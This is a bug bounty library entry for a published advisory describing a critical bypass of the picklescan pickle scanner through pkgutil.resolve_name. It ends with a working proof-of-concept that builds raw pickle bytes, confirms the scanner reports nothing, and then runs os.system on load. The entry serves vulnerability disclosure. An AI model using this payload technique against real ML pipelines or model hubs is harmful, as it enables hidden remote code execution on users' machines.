# PickleScan's pkgutil.resolve_name has a universal blocklist bypass

picklescan's blocklist misses pkgutil.resolve_name, letting a pickle resolve and call any blocked function like os.system for RCE while scanning clean.

- Payout: Research
- Severity: critical
- Program: PickleScan
- Found by (vendor credit): yash2998chhabria
- Found by: yash2998chhabria
- Disclosed: 2026-03-03
- CVE: CVE-2026-3490
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-vvpj-8cmc-gx39
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-vvpj-8cmc-gx39
- Tags: area:ai domain:ai domain:oss impact:rce kind:research platform:ghsa sev:critical tech:python technique:source-review vuln:deserialization vuln:rce

**Target:** pickle scanner (picklescan) static opcode analysis
**Root cause:** Scanner only inspects GLOBAL/INST/STACK_GLOBAL references and never analyzes REDUCE arguments, so pkgutil.resolve_name (unblocked) can resolve any blocked function from a data string at runtime.
**Steps:**
1. Build pickle with STACK_GLOBAL pushing `pkgutil`/`resolve_name`.
2. REDUCE with argument `os:system` to obtain the os.system function object.
3. Second REDUCE calls the returned function with `malicious_command`.
4. picklescan reports 0 issues; `pickle.loads(payload)` executes os.system("id") → RCE.
**How found:** Noticed picklescan only inspects global import opcodes, not REDUCE arguments; hypothesized a stdlib attribute resolver could smuggle blocked functions as plain data strings.
**Exploitation:** Attacker ships a malicious pickle (e.g. to HuggingFace Hub or an ML pipeline) that scans CLEAN; on unpickle, chained REDUCE calls resolve and invoke any blocked function such as os.system, builtins.exec, subprocess.call, pty.spawn.
**Escalation:** Universal: every entry in _unsafe_globals reachable via resolve_name indirection, 11+ confirmed RCE chains.
**Insight:** When auditing pickle/deserialization scanners, look for stdlib indirection gadgets (pkgutil.resolve_name, importlib, getattr) that turn blocked names into inert data the scanner never inspects.

## Proof of concept (copied exactly from the original report)

**Pickle payload bypassing picklescan via pkgutil.resolve_name**

```
import struct, io, pickle

def sbu(s):
    b = s.encode()
    return b"\x8c" + struct.pack("<B", len(b)) + b

# resolve_name("os:system")("id")
payload = (
    b"\x80\x04\x95" + struct.pack("<Q", 55)
    + sbu("pkgutil") + sbu("resolve_name") + b"\x93"  # STACK_GLOBAL
    + sbu("os:system") + b"\x85" + b"R"                # REDUCE: resolve_name("os:system")
    + sbu("id") + b"\x85" + b"R"                       # REDUCE: os.system("id")
    + b"."                                               # STOP
)

# picklescan: 0 issues
from picklescan.scanner import scan_pickle_bytes
result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl")
assert result.issues_count == 0  # CLEAN!

# Execute: runs os.system("id") → RCE
pickle.loads(payload)
```

